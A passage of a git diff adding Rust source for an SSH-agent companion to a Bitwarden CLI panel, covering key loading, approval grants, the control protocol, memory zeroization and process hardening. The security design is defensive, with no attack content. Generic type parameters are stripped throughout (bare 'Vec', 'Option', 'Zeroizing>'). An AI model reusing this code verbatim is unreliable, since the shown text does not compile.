docs/decisions/0001-ssh-agent-dependencies.md. Anything added +# here needs the same review: this process holds decrypted private keys. +[dependencies] +# Key parsing, public blobs, fingerprints, and the signing primitives. Default +# features are off so ECDSA, DSA, and OpenSSH key encryption never compile in: +# v1 signs with Ed25519 and RSA SHA-2 only. +ssh-key = { version = "0.6.7", default-features = false, features = ["alloc", "ed25519", "rsa"] } +# Wire primitives for the allowlisted agent frame decoder (Task 5). Same +# version ssh-key uses, declared directly because this crate encodes and +# decodes frames itself rather than through an agent framework. +ssh-encoding = { version = "0.2", default-features = false, features = ["alloc"] } +# Declared only to turn ed25519-dalek's zeroize-on-drop impl on for the whole +# graph. ssh-key depends on dalek with default features off and does not ask +# for `zeroize`, so without this line the transient SigningKey built for each +# signature leaves its 32 secret bytes in freed memory. +ed25519-dalek = { version = "2.2", default-features = false, features = ["zeroize"] } +# Same reasoning in reverse: rsa zeroizes unconditionally, and pinning it here +# keeps the version that does so under this crate's own review. +rsa = { version = "0.9.10", default-features = false, features = ["sha2"] } +# Zeroizing> for PEM text and FIFO payloads, from the first byte read. +zeroize = { version = "1.9", default-features = false, features = ["alloc"] } +# Current-thread async runtime: independent socket tasks with bounded channels, +# no thread pool. `net` carries UnixListener and SO_PEERCRED via peer_cred(). +tokio = { version = "1.53", default-features = false, features = ["rt", "net", "io-util", "io-std", "sync", "time", "macros"] } +# RLIMIT_CORE=0 and PR_SET_DUMPABLE=0 before the first secret is read. +rustix = { version = "1.1", default-features = false, features = ["std", "fs", "process", "thread"] } +# The NDJSON control channel the panel speaks on stdin/stdout. +serde = { version = "1", default-features = false, features = ["derive", "alloc"] } +serde_json = { version = "1", default-features = false, features = ["alloc"] } +signature = { version = "2", default-features = false, features = ["alloc"] } +sha2 = { version = "0.10", default-features = false } + +[dev-dependencies] +# Test-only key generation, so no private key material is committed. +rand_core = { version = "0.6.4", features = ["getrandom"] } + +[profile.release] +# A key-holding process should not leave a core file or unwind through +# arbitrary Drop impls on panic; abort keeps secret memory out of a longer +# unwind path and out of a dumpable child. +panic = "abort" +strip = "symbols" diff --git a/plugins/io.github.elevate08.qs-bitwarden-cli/agent/rust-toolchain.toml b/plugins/io.github.elevate08.qs-bitwarden-cli/agent/rust-toolchain.toml new file mode 100644 index 0000000..f6e8a38 --- /dev/null +++ b/plugins/io.github.elevate08.qs-bitwarden-cli/agent/rust-toolchain.toml @@ -0,0 +1,9 @@ +# The release helper ships as bytes in this repository, so the toolchain that +# produced them is part of the artifact. rustup honours this file; a distro +# cargo ignores it, which is why the reproducible build (Task 16) runs under +# rustup in a pinned container and compares output byte for byte. +[toolchain] +channel = "1.98.0" +components = ["rustfmt", "clippy"] +targets = ["x86_64-unknown-linux-gnu"] +profile = "minimal" diff --git a/plugins/io.github.elevate08.qs-bitwarden-cli/agent/src/approvals.rs b/plugins/io.github.elevate08.qs-bitwarden-cli/agent/src/approvals.rs new file mode 100644 index 0000000..1f82f2b --- /dev/null +++ b/plugins/io.github.elevate08.qs-bitwarden-cli/agent/src/approvals.rs @@ -0,0 +1,234 @@ +//! Bounded signature requests, single-use approvals, and process grants. + +use crate::keystore::{AuthorizationPermit, KeyStore}; +use crate::peer::PeerContext; + +const MAX_PENDING: usize = 4; +/// How long a person has to answer a prompt before the request is abandoned. +/// +/// This is a human deadline, not a machine one: the panel has to open, the +/// user has to notice it, read a fingerprint, and decide. Thirty seconds -- +/// the figure the original design carried -- turned out to be shorter than +/// that takes in practice, and expired prompts under a user who was simply +/// reading them. See docs/decisions/0003-request-deadline.md. +/// +/// The bound that actually reclaims resources promptly is the client +/// disconnect, which the server watches for while a request is pending. +pub const REQUEST_LIFETIME_MS: u64 = 120_000; +const MAX_GRANT_SECONDS: u64 = 900; + +/// Stable authorization failures. +#[derive(Clone, Copy, Debug, Eq, PartialEq)] +pub enum ApprovalError { + WrongUid, + QueueFull, + UnknownRequest, + IdExhausted, +} + +/// Unique process-lifetime request identifier. +pub type RequestId = u64; + +/// Unique process-lifetime grant identifier. +pub type GrantId = u64; + +/// Result of submitting a sign request. +#[derive(Debug, Eq, PartialEq)] +pub enum Submit { + Pending(RequestId), + Granted(Authorization), +} + +/// Public-only authorization which must still pass the keystore's final gate. +#[derive(Debug, Eq, PartialEq)] +pub struct Authorization { + epoch: u64, + public_blob: Vec, +} + +impl Authorization { + /// Recheck epoch, lock state, and key identity at the final signing point. + pub fn finalize(self, store: &KeyStore) -> Option { + let permit = store.authorize(&self.public_blob)?; + // `authorize` is current-state authoritative. The explicit epoch check + // keeps a token from a previous unlock from crossing after a reload. + (store.epoch() == self.epoch).then_some(permit) + } +} + +struct Pending { + id: RequestId, + epoch: u64, + public_blob: Vec, + peer: PeerContext, + deadline_ms: u64, +} + +/// Public grant projection safe for panel status. +#[derive(Clone, Debug, Eq, PartialEq)] +pub struct Grant { + pub id: GrantId, + pub public_blob: Vec, + pub peer: PeerContext, + pub epoch: u64, + pub expires_at_ms: u64, +} + +/// Single-owner authorization state. +pub struct ApprovalManager { + expected_uid: u32, + next_id: RequestId, + next_grant_id: GrantId, + pending: Vec, + grants: Vec, +} + +impl ApprovalManager { + pub fn new(expected_uid: u32) -> Self { + Self { + expected_uid, + next_id: 1, + next_grant_id: 1, + pending: Vec::new(), + grants: Vec::new(), + } + } + + pub fn submit( + &mut self, + epoch: u64, + public_blob: &[u8], + peer: PeerContext, + now_ms: u64, + ) -> Result { + if peer.uid != self.expected_uid { + return Err(ApprovalError::WrongUid); + } + self.expire(now_ms); + if self.grants.iter().any(|grant| { + grant.epoch == epoch + && grant.public_blob == public_blob + && grant.peer.shares_grant_scope(&peer) + }) { + return Ok(Submit::Granted(Authorization { + epoch, + public_blob: public_blob.to_vec(), + })); + } + if self.pending.len() >= MAX_PENDING { + return Err(ApprovalError::QueueFull); + } + let id = self.next_id; + self.next_id = self + .next_id + .checked_add(1) + .ok_or(ApprovalError::IdExhausted)?; + self.pending.push(Pending { + id, + epoch, + public_blob: public_blob.to_vec(), + peer, + deadline_ms: now_ms.saturating_add(REQUEST_LIFETIME_MS), + }); + Ok(Submit::Pending(id)) + } + + pub fn approve( + &mut self, + id: RequestId, + grant_seconds: u64, + now_ms: u64, + ) -> Result { + self.expire(now_ms); + let index = self + .pending + .iter() + .position(|request| request.id == id) + .ok_or(ApprovalError::UnknownRequest)?; + let request = self.pending.remove(index); + if grant_seconds > 0 { + let grant_id = self.next_grant_id; + self.next_grant_id = self + .next_grant_id + .checked_add(1) + .ok_or(ApprovalError::IdExhausted)?; + let duration_ms = grant_seconds.min(MAX_GRANT_SECONDS).saturating_mul(1_000); + self.grants.push(Grant { + id: grant_id, + public_blob: request.public_blob.clone(), + peer: request.peer, + epoch: request.epoch, + expires_at_ms: now_ms.saturating_add(duration_ms), + }); + } + Ok(Authorization { + epoch: request.epoch, + public_blob: request.public_blob, + }) + } + + pub fn disconnect(&mut self, id: RequestId) { + self.pending.retain(|request| request.id != id); + } + + pub fn expire(&mut self, now_ms: u64) { + self.pending.retain(|request| request.deadline_ms > now_ms); + self.grants.retain(|grant| grant.expires_at_ms > now_ms); + } + + /// Lock, logout, account change, suspend, screen lock, disable, and epoch + /// change all use this same deny/cancel operation. + pub fn invalidate_all(&mut self) { + self.pending.clear(); + self.grants.clear(); + } + + pub fn revoke_grant(&mut self, id: GrantId) { + self.grants.retain(|grant| grant.id != id); + } + + pub fn revoke_all_grants(&mut self) { + self.grants.clear(); + } + + pub fn revoke_peer(&mut self, peer: &PeerContext) { + self.grants + .retain(|grant| !grant.peer.shares_grant_scope(peer)); + } + + /// Reserve an identifier for a request the caller holds itself -- one + /// waiting on an unlock rather than on an approval. Drawn from the same + /// sequence, so no two live requests can ever share an id. + pub fn reserve_request_id(&mut self) -> Result { + let id = self.next_id; + self.next_id = self + .next_id + .checked_add(1) + .ok_or(ApprovalError::IdExhausted)?; + Ok(id) + } + + /// Same-UID enforcement, for requests the caller holds itself rather than + /// registering as pending. + pub fn expects_uid(&self, uid: u32) -> bool { + uid == self.expected_uid + } + + /// How many more requests may exist across both the pending set and any + /// the caller is holding. The four-request bound covers them together. + pub fn capacity_remaining(&self, held: usize) -> usize { + MAX_PENDING.saturating_sub(self.pending.len() + held) + } + + pub fn pending_count(&self) -> usize { + self.pending.len() + } + + pub fn is_pending(&self, id: RequestId) -> bool { + self.pending.iter().any(|request| request.id == id) + } + + pub fn grants(&self) -> &[Grant] { + &self.grants + } +} diff --git a/plugins/io.github.elevate08.qs-bitwarden-cli/agent/src/control.rs b/plugins/io.github.elevate08.qs-bitwarden-cli/agent/src/control.rs new file mode 100644 index 0000000..e7195dd --- /dev/null +++ b/plugins/io.github.elevate08.qs-bitwarden-cli/agent/src/control.rs @@ -0,0 +1,119 @@ +//! Strict, bounded panel-to-companion control messages. + +use serde::Deserialize; + +pub const CONTROL_VERSION: u8 = 1; +pub const MAX_CONTROL_LINE: usize = 64 * 1024; + +#[derive(Clone, Debug, Deserialize, Eq, PartialEq)] +#[serde(tag = "type", rename_all = "snake_case", deny_unknown_fields)] +pub enum ControlMessage { + Hello { + v: u8, + }, + KeyLoadBegin { + v: u8, + epoch: u64, + #[serde(rename = "loadId")] + load_id: String, + }, + KeyLoadEnd { + v: u8, + epoch: u64, + status: LoadStatus, + }, + VaultLocked { + v: u8, + epoch: u64, + }, + VaultLoggedOut { + v: u8, + }, + Approve { + v: u8, + #[serde(rename = "requestId")] + request_id: u64, + #[serde(rename = "grantSeconds")] + grant_seconds: u64, + }, + Deny { + v: u8, + #[serde(rename = "requestId")] + request_id: u64, + }, + UnlockCancelled { + v: u8, + #[serde(rename = "requestId")] + request_id: u64, + reason: String, + }, + /// Panel settings the companion needs to act on. Sent after the + /// handshake and whenever they change. + Options { + v: u8, + #[serde(rename = "unlockOnDemand")] + unlock_on_demand: bool, + }, + RevokeGrants { + v: u8, + }, + RevokeGrant { + v: u8, + #[serde(rename = "grantId")] + grant_id: u64, + }, + Shutdown { + v: u8, + }, +} + +#[derive(Clone, Copy, Debug, Deserialize, Eq, PartialEq)] +#[serde(rename_all = "snake_case")] +pub enum LoadStatus { + Ok, + Failed, +} + +#[derive(Clone, Copy, Debug, Eq, PartialEq)] +pub enum ControlError { + Empty, + TooLong, + Malformed, + WrongVersion, +} + +impl ControlMessage { + pub fn version(&self) -> u8 { + match self { + Self::Hello { v } + | Self::VaultLoggedOut { v } + | Self::RevokeGrants { v } + | Self::Shutdown { v } => *v, + Self::KeyLoadBegin { v, .. } + | Self::Options { v, .. } + | Self::RevokeGrant { v, .. } + | Self::KeyLoadEnd { v, .. } + | Self::VaultLocked { v, .. } + | Self::Approve { v, .. } + | Self::Deny { v, .. } + | Self::UnlockCancelled { v, .. } => *v, + } + } +} + +pub fn parse_control_line(line: &[u8]) -> Result { + let line = line.strip_suffix(b"\n").unwrap_or(line); + let line = line.strip_suffix(b"\r").unwrap_or(line); + if line.is_empty() { + return Err(ControlError::Empty); + } + if line.len() > MAX_CONTROL_LINE { + return Err(ControlError::TooLong); + } + let message: ControlMessage = + serde_json::from_slice(line).map_err(|_| ControlError::Malformed)?; + if message.version() != CONTROL_VERSION { + return Err(ControlError::WrongVersion); + } + Ok(message) +} diff --git a/plugins/io.github.elevate08.qs-bitwarden-cli/agent/src/keystore.rs b/plugins/io.github.elevate08.qs-bitwarden-cli/agent/src/keystore.rs new file mode 100644 index 0000000..11151c5 --- /dev/null +++ b/plugins/io.github.elevate08.qs-bitwarden-cli/agent/src/keystore.rs @@ -0,0 +1,331 @@ +//! Bounded candidate loading and epoch-authoritative private-key ownership. + +use crate::signing; +use crate::state::{StateTracker, VaultState}; +use ssh_key::{HashAlg, PrivateKey, PublicKey, Signature}; +use std::fmt; +use zeroize::Zeroizing; + +/// Maximum number of SSH items accepted in one candidate load. +pub const MAX_KEYS: usize = 128; +/// Maximum OpenSSH PEM bytes accepted for one item. +pub const MAX_PEM_BYTES: usize = 64 * 1024; +/// Public vault metadata retained in memory or emitted on the bounded control +/// channel. Measured in UTF-8 bytes, matching the protocol ceiling. An item id +/// past it fails the load; a name past it is truncated to it. +pub const MAX_METADATA_BYTES: usize = 256; +/// Maximum filtered FIFO payload accepted for one load. +pub const MAX_FILTERED_BYTES: usize = 8 * 1024 * 1024; + +/// One allowlisted item from the bounded FIFO decoder. +pub struct CandidateItem { + pub item_id: String, + pub name: String, + pub private_key_pem: Zeroizing>, + pub public_key: String, + pub fingerprint: String, + pub requires_reprompt: bool, +} + +/// Stable, non-secret reason why one item was not loaded. +#[derive(Clone, Copy, Debug, Eq, PartialEq)] +pub enum SkipCode { + MalformedPrivateKey, + InvalidPrivateKey, + UnsupportedKeyType, + MalformedPublicKey, + PublicKeyMismatch, + FingerprintMismatch, + RequiresReprompt, + Duplicate, +} + +/// A skipped item safe to report over the control channel. +#[derive(Debug, Eq, PartialEq)] +pub struct SkippedItem { + pub item_id: String, + pub code: SkipCode, +} + +/// Successful candidate publication summary. +#[derive(Debug, Eq, PartialEq)] +pub struct LoadReport { + pub loaded: usize, + pub skipped: Vec, +} + +/// Whole-candidate failures. These never include parser input or errors. +#[derive(Clone, Copy, Debug, Eq, PartialEq)] +pub enum LoadError { + StaleEpoch, + FilteredPayloadTooLarge, + TooManyKeys, + PemTooLarge, + MetadataTooLarge, + FailedCandidate, +} + +/// Public values retained across lock. +#[derive(Debug, Eq, PartialEq)] +pub struct PublicIdentity { + pub item_id: String, + pub name: String, + pub fingerprint: String, + /// The OpenSSH one-line form, derived from the parsed private key rather + /// than copied from vault metadata. Git signing needs this on disk as a + /// file, and the panel writes it; deriving it here means only material + /// this keystore actually validated can ever be exported. + pub public_key_openssh: String, + public_blob: Vec, +} + +impl PublicIdentity { + pub fn public_blob(&self) -> &[u8] { + &self.public_blob + } +} + +struct PrivateIdentity { + key: PrivateKey, + public_index: usize, +} + +/// A public-only authorization result. It cannot keep a private key alive. +pub struct AuthorizationPermit { + epoch: u64, + public_blob: Vec, +} + +/// Candidate storage, separate from the live keystore until publication. +pub struct CandidateLoad { + epoch: u64, + seen_items: usize, + failed: bool, + public: Vec, + private: Vec, + skipped: Vec, +} + +// Debug output is intentionally redacted because this value owns private keys. +impl fmt::Debug for CandidateLoad { + fn fmt(&self, formatter: &mut fmt::Formatter<'_>) -> fmt::Result { + formatter.write_str("CandidateLoad { private material redacted }") + } +} + +impl CandidateLoad { + /// Validate and add one item. Individual key defects are reported as skips; + /// a hard resource limit poisons the entire candidate. + pub fn add(&mut self, item: CandidateItem) -> Result, LoadError> { + self.seen_items = self.seen_items.saturating_add(1); + if self.seen_items > MAX_KEYS { + self.failed = true; + return Err(LoadError::TooManyKeys); + } + if item.private_key_pem.len() > MAX_PEM_BYTES { + self.failed = true; + return Err(LoadError::PemTooLarge); + } + // An item id that long is malformed rather than unusual -- Bitwarden's + // are 36-character UUIDs -- and it identifies the key, so it cannot be + // shortened without changing what it names. + if item.item_id.len() > MAX_METADATA_BYTES { + self.failed = true; + return Err(LoadError::MetadataTooLarge); + } + // A long *name* is ordinary. Bitwarden allows them, and 256 bytes is + // around 85 CJK characters, so failing the load here would take the + // whole feature down over one item somebody named descriptively. The + // name is display and comment text, so it is bounded by truncation + // instead -- on a character boundary, because a String cut mid-sequence + // is not one. + let mut item = item; + if item.name.len() > MAX_METADATA_BYTES { + let mut end = MAX_METADATA_BYTES; + while end > 0 && !item.name.is_char_boundary(end) { + end -= 1; + } + item.name.truncate(end); + } + if item.requires_reprompt { + return Ok(self.skip(item.item_id, SkipCode::RequiresReprompt)); + } + + let key = match PrivateKey::from_openssh(item.private_key_pem.as_slice()) { + Ok(key) => key, + Err(_) => return Ok(self.skip(item.item_id, SkipCode::MalformedPrivateKey)), + }; + if !matches!( + key.algorithm(), + ssh_key::Algorithm::Ed25519 | ssh_key::Algorithm::Rsa { .. } + ) { + return Ok(self.skip(item.item_id, SkipCode::UnsupportedKeyType)); + } + if let Some(rsa) = key.key_data().rsa() { + if crate::rsa_keys::private_key(rsa).is_err() { + return Ok(self.skip(item.item_id, SkipCode::InvalidPrivateKey)); + } + } + let metadata_key = match PublicKey::from_openssh(&item.public_key) { + Ok(key) => key, + Err(_) => return Ok(self.skip(item.item_id, SkipCode::MalformedPublicKey)), + }; + let public_blob = match key.public_key().to_bytes() { + Ok(blob) => blob, + Err(_) => return Ok(self.skip(item.item_id, SkipCode::MalformedPrivateKey)), + }; + if metadata_key.to_bytes().ok().as_deref() != Some(public_blob.as_slice()) { + return Ok(self.skip(item.item_id, SkipCode::PublicKeyMismatch)); + } + let fingerprint = key.public_key().fingerprint(HashAlg::Sha256).to_string(); + if fingerprint != item.fingerprint { + return Ok(self.skip(item.item_id, SkipCode::FingerprintMismatch)); + } + if self + .public + .iter() + .any(|identity| identity.public_blob == public_blob) + { + return Ok(self.skip(item.item_id, SkipCode::Duplicate)); + } + + // Derived from the key that was just validated, not from the vault's + // copy: the export on disk must be material this keystore vouched for. + let public_key_openssh = match key.public_key().to_openssh() { + Ok(text) => text, + Err(_) => return Ok(self.skip(item.item_id, SkipCode::MalformedPublicKey)), + }; + let public_index = self.public.len(); + self.public.push(PublicIdentity { + item_id: item.item_id, + name: item.name, + fingerprint, + public_key_openssh, + public_blob, + }); + self.private.push(PrivateIdentity { key, public_index }); + Ok(None) + } + + fn skip(&mut self, item_id: String, code: SkipCode) -> Option { + self.skipped.push(SkippedItem { item_id, code }); + Some(code) + } +} + +/// The only owner of live private keys. +pub struct KeyStore { + state: StateTracker, + public: Vec, + private: Vec, +} + +impl Default for KeyStore { + fn default() -> Self { + Self::new() + } +} + +impl KeyStore { + pub fn new() -> Self { + Self { + state: StateTracker::new(), + public: Vec::new(), + private: Vec::new(), + } + } + + /// Enter loading and drop the previous private set before validation. + pub fn begin_load( + &mut self, + epoch: u64, + filtered_bytes: usize, + ) -> Result { + if !self.state.begin_load(epoch) { + return Err(LoadError::StaleEpoch); + } + self.private.clear(); + if filtered_bytes > MAX_FILTERED_BYTES { + return Err(LoadError::FilteredPayloadTooLarge); + } + Ok(CandidateLoad { + epoch, + seen_items: 0, + failed: false, + public: Vec::new(), + private: Vec::new(), + skipped: Vec::new(), + }) + } + + /// Atomically replace both public and private sets with one validated load. + pub fn publish(&mut self, load: CandidateLoad) -> Result { + if load.failed { + return Err(LoadError::FailedCandidate); + } + if !self.state.publish(load.epoch) { + return Err(LoadError::StaleEpoch); + } + self.public = load.public; + self.private = load.private; + Ok(LoadReport { + loaded: self.private.len(), + skipped: load.skipped, + }) + } + + /// Deny first, then erase the live private set while retaining public data. + pub fn lock(&mut self, epoch: u64) { + self.state.lock(epoch, !self.public.is_empty()); + self.private.clear(); + } + + /// Clear both caches for logout or account change. + pub fn logout(&mut self, epoch: u64) { + self.state.logout(epoch); + self.private.clear(); + self.public.clear(); + } + + pub fn state(&self) -> VaultState { + self.state.state() + } + + /// Current vault epoch for final authorization correlation. + pub fn epoch(&self) -> u64 { + self.state.epoch() + } + + pub fn public_identities(&self) -> &[PublicIdentity] { + &self.public + } + + pub fn authorize(&self, public_blob: &[u8]) -> Option { + if !self.state.allows(self.state.epoch()) { + return None; + } + self.private.iter().find_map(|identity| { + let public = &self.public[identity.public_index]; + (public.public_blob == public_blob).then(|| AuthorizationPermit { + epoch: self.state.epoch(), + public_blob: public_blob.to_vec(), + }) + }) + } + + /// Final epoch/state/key check immediately before the signing primitive. + pub fn sign( + &self, + permit: &AuthorizationPermit, + message: &[u8], + flags: u32, + ) -> Option { + if !self.state.allows(permit.epoch) { + return None; + } + let identity = self.private.iter().find(|identity| { + self.public[identity.public_index].public_blob == permit.public_blob + })?; + signing::sign(&identity.key, message, flags) + } +} diff --git a/plugins/io.github.elevate08.qs-bitwarden-cli/agent/src/lib.rs b/plugins/io.github.elevate08.qs-bitwarden-cli/agent/src/lib.rs new file mode 100644 index 0000000..28a6129 --- /dev/null +++ b/plugins/io.github.elevate08.qs-bitwarden-cli/agent/src/lib.rs @@ -0,0 +1,230 @@ +//! Headless SSH-agent companion for the qs-bitwarden-cli Quickshell panel. +//! +//! The panel owns `bw` and `BW_SESSION`; this process never sees either. It +//! receives already-decrypted private keys on a private FIFO, holds them only +//! while the vault is unlocked, and signs only against a live approval. The +//! full design is in `docs/ideas/ssh-agent.md`, and the dependency set below is +//! justified in `docs/decisions/0001-ssh-agent-dependencies.md`. +//! +//! At this stage the crate is the dependency spike itself: it pins the crates +//! the agent will be built from and proves, in tests that need no vault, no +//! network, and no socket, that they can do the two things the design cannot +//! compromise on -- sign what v1 promises to sign, and wipe private key memory +//! when it is dropped. + +use zeroize::ZeroizeOnDrop; + +pub mod approvals; +pub mod control; +pub mod keystore; +pub mod lifecycle; +pub mod load; +pub mod peer; +pub mod protocol; +pub mod runtime; +pub mod selftest; +pub mod server; +mod signing; +pub mod state; + +/// Compile-time proof that a private-key representation wipes its own memory +/// when dropped. +/// +/// Rust drops the value either way; what this asserts is that the drop is a +/// zeroizing one. It is a function rather than a comment because the property +/// depends on Cargo features resolved across the whole dependency graph -- one +/// crate anywhere in the tree can turn a wipe into a plain deallocation, and +/// nothing in the source of this crate would look any different afterwards. +/// If a call to this stops compiling, the keystore's lock semantics are no +/// longer true, whatever the documentation says. +pub fn assert_zeroize_on_drop() {} + +/// RSA signing keys, built here rather than through ssh-key. +/// +/// ssh-key 0.6.7 -- the newest release; the 0.7 line has been in release +/// candidates since 2025 -- cannot produce a usable RSA private key. Its +/// `TryFrom<&RsaKeypair> for rsa::RsaPrivateKey` passes `p` twice where +/// `from_components` expects `p` and `q`, so the key fails validation and +/// every RSA signature returns an opaque error. The fix is on the project's +/// master branch and unreleased. +/// +/// That leaves three options: ship a release candidate of a security +/// dependency, drop RSA from v1, or build the private key here from the same +/// components. This crate takes the third: it is a dozen lines against a +/// stable API, it needs no fork or patch section in Cargo.toml, and it drops +/// out the day a fixed 0.6.x or 0.7.0 is released. See +/// `docs/decisions/0001-ssh-agent-dependencies.md`. +pub mod rsa_keys { + use rsa::pkcs1v15; + use rsa::traits::PublicKeyParts; + use rsa::BigUint; + use ssh_key::private::RsaKeypair; + use ssh_key::{Error, HashAlg, Result}; + + /// The RSA private key for `keypair`, with p and q the right way round. + /// + /// The returned key zeroizes its own components on drop; the caller is + /// responsible for not cloning it out of the keystore. + pub fn private_key(keypair: &RsaKeypair) -> Result { + let key = rsa::RsaPrivateKey::from_components( + BigUint::try_from(&keypair.public.n)?, + BigUint::try_from(&keypair.public.e)?, + BigUint::try_from(&keypair.private.d)?, + vec![ + BigUint::try_from(&keypair.private.p)?, + BigUint::try_from(&keypair.private.q)?, + ], + ) + .map_err(|_| Error::Crypto)?; + + // OpenSSH refuses RSA below 2048 bits and so does this agent; a + // shorter key is a failed load, not a weaker signature. + if key.size().saturating_mul(8) < MIN_RSA_KEY_BITS { + return Err(Error::Crypto); + } + Ok(key) + } + + /// Smallest RSA modulus this agent will sign with, in bits. + pub const MIN_RSA_KEY_BITS: usize = 2048; + + /// A PKCS#1 v1.5 signing key for one of the two RSA SHA-2 algorithms. + /// + /// The hash is not a detail the agent gets to choose: `rsa-sha2-256` and + /// `rsa-sha2-512` are distinct signature algorithms on the wire, selected + /// by flags on the sign request, and answering with the other one is a + /// failed authentication. + pub enum Sha2SigningKey { + Sha256(pkcs1v15::SigningKey), + Sha512(pkcs1v15::SigningKey), + } + + /// Build the signing key the requested flag asks for. + pub fn sha2_signing_key(keypair: &RsaKeypair, hash: HashAlg) -> Result { + let key = private_key(keypair)?; + Ok(match hash { + HashAlg::Sha256 => Sha2SigningKey::Sha256(pkcs1v15::SigningKey::new(key)), + HashAlg::Sha512 => Sha2SigningKey::Sha512(pkcs1v15::SigningKey::new(key)), + // ssh-key's HashAlg is non-exhaustive; anything else is not an + // algorithm this agent advertises. + _ => return Err(Error::Crypto), + }) + } +} + +#[cfg(test)] +mod tests { + use super::{assert_zeroize_on_drop, rsa_keys}; + use rand_core::OsRng; + use signature::{SignatureEncoding, Signer, Verifier}; + use ssh_key::private::RsaKeypair; + use ssh_key::{Algorithm, HashAlg, PrivateKey, Signature}; + use zeroize::Zeroizing; + + /// The two secret representations that exist while the vault is unlocked: + /// the transient dalek signing key ssh-key builds for each Ed25519 + /// signature, and the RSA private key it converts into for each RSA one. + /// + /// dalek implements this only behind its `zeroize` feature, and ssh-key + /// depends on dalek with default features off without asking for it. This + /// crate names dalek as a direct dependency for that feature alone; drop + /// that line from Cargo.toml and this test stops compiling rather than + /// silently leaving 32 secret bytes in freed memory. + #[test] + fn every_private_key_representation_wipes_itself_on_drop() { + assert_zeroize_on_drop::(); + assert_zeroize_on_drop::(); + } + + /// Ed25519: the algorithm nearly every Bitwarden SSH key will use. + #[test] + fn ed25519_keys_parse_sign_and_verify() { + let generated = PrivateKey::random(&mut OsRng, Algorithm::Ed25519).unwrap(); + // Private keys reach this process as OpenSSH PEM text on the FIFO, so + // the test takes the same route in -- and holds the text the way the + // loader will, in a buffer that wipes itself. + let pem = Zeroizing::new( + generated + .to_openssh(Default::default()) + .unwrap() + .to_string(), + ); + let key = PrivateKey::from_openssh(pem.as_bytes()).unwrap(); + + let signature = key.try_sign(b"agent sign request").unwrap(); + assert_eq!(signature.algorithm(), Algorithm::Ed25519); + // PublicKey's inherent `verify` is the namespaced SSHSIG one; the + // agent path is the Verifier trait, named explicitly here so the test + // exercises what the signing gate will call. + Verifier::verify(key.public_key(), b"agent sign request", &signature) + .expect("a signature this agent produced must verify under the key it advertises"); + assert!(Verifier::verify(key.public_key(), b"a different payload", &signature).is_err()); + } + + /// RSA SHA-2, both flags, through this crate's own key construction. + /// + /// The generated key is 2048 bits rather than ssh-key's 4096-bit default + /// because this test runs on every build and key generation dominates it. + #[test] + fn rsa_keys_sign_under_both_sha2_flags() { + let keypair = RsaKeypair::random(&mut OsRng, rsa_keys::MIN_RSA_KEY_BITS).unwrap(); + let key = PrivateKey::from(keypair.clone()); + + let mut signatures = Vec::new(); + for hash in [HashAlg::Sha256, HashAlg::Sha512] { + let signature = match rsa_keys::sha2_signing_key(&keypair, hash).unwrap() { + rsa_keys::Sha2SigningKey::Sha256(signing) => { + signing.try_sign(b"agent sign request").unwrap().to_vec() + } + rsa_keys::Sha2SigningKey::Sha512(signing) => { + signing.try_sign(b"agent sign request").unwrap().to_vec() + } + }; + let signature = Signature::new(Algorithm::Rsa { hash: Some(hash) }, signature).unwrap(); + Verifier::verify(key.public_key(), b"agent sign request", &signature).unwrap_or_else( + |_| panic!("an rsa-sha2 signature must verify under the advertised key: {hash:?}"), + ); + assert!( + Verifier::verify(key.public_key(), b"a different payload", &signature).is_err() + ); + signatures.push(signature); + } + assert_ne!( + signatures[0].as_bytes(), + signatures[1].as_bytes(), + "the two RSA SHA-2 algorithms must not produce the same signature" + ); + } + + /// The reason `rsa_keys` exists at all. ssh-key 0.6.7 builds its RSA + /// private key from `p` twice instead of `p` and `q`, so its own signing + /// path cannot sign anything. This test pins that failure: when it starts + /// passing, a fixed ssh-key has been released and `rsa_keys` can go. + #[test] + fn ssh_key_0_6_7_still_cannot_sign_with_rsa_itself() { + let keypair = RsaKeypair::random(&mut OsRng, rsa_keys::MIN_RSA_KEY_BITS).unwrap(); + let key = PrivateKey::from(keypair); + assert!( + key.try_sign(b"agent sign request").is_err(), + "ssh-key can sign RSA again: drop the rsa_keys module and its ADR entry" + ); + } + + /// v1 signs Ed25519 and RSA SHA-2 and nothing else, and that promise is + /// kept by what compiles in rather than by a runtime check someone can + /// forget: with ssh-key's default features off, an ECDSA key has no + /// signing implementation to reach. + #[test] + fn algorithms_outside_v1_have_no_signing_path() { + let unsupported = PrivateKey::random( + &mut OsRng, + Algorithm::Ecdsa { + curve: ssh_key::EcdsaCurve::NistP256, + }, + ); + assert!( + unsupported.is_err(), + "an algorithm v1 does not support must fail closed at key construction" + ); + } +} diff --git a/plugins/io.github.elevate08.qs-bitwarden-cli/agent/src/lifecycle.rs b/plugins/io.github.elevate08.qs-bitwarden-cli/agent/src/lifecycle.rs new file mode 100644 index 0000000..156f5b1 --- /dev/null +++ b/plugins/io.github.elevate08.qs-bitwarden-cli/agent/src/lifecycle.rs @@ -0,0 +1,21 @@ +//! Process hardening applied before runtime paths or secret-bearing inputs open. + +use rustix::process::{self, DumpableBehavior, Resource, Rlimit}; + +#[derive(Clone, Copy, Debug, Eq, PartialEq)] +pub enum HardenError { + CoreLimit, + Dumpable, +} + +pub fn harden_process() -> Result<(), HardenError> { + process::setrlimit( + Resource::Core, + Rlimit { + current: Some(0), + maximum: Some(0), + }, + ) + .map_err(|_| HardenError::CoreLimit)?; + process::set_dumpable_behavior(DumpableBehavior::NotDumpable).map_err(|_| HardenError::Dumpable) +} diff --git a/plugins/io.github.elevate08.qs-bitwarden-cli/agent/src/load.rs b/plugins/io.github.elevate08.qs-bitwarden-cli/agent/src/load.rs new file mode 100644 index 0000000..bf40688 --- /dev/null +++ b/plugins/io.github.elevate08.qs-bitwarden-cli/agent/src/load.rs @@ -0,0 +1,109 @@ +//! One-shot nonce-framed candidate payload decoding. + +use crate::keystore::{CandidateItem, CandidateLoad, KeyStore, LoadError}; +use serde::Deserialize; +use std::fmt; +use zeroize::Zeroizing; + +/// Sanitized whole-payload failures. +#[derive(Clone, Copy, Debug, Eq, PartialEq)] +pub enum PayloadError { + InvalidNonce, + Closed, + NonceMismatch, + Malformed, + Load(LoadError), +} + +#[derive(Deserialize)] +#[serde(deny_unknown_fields, rename_all = "camelCase")] +struct Envelope { + load_id: String, + items: Vec, +} + +#[derive(Deserialize)] +#[serde(deny_unknown_fields, rename_all = "camelCase")] +struct Item { + item_id: String, + name: String, + private_key: String, + public_key: String, + fingerprint: String, + requires_reprompt: bool, +} + +/// A single armed load nonce. Every decode attempt consumes the window. +pub struct LoadWindow { + epoch: u64, + 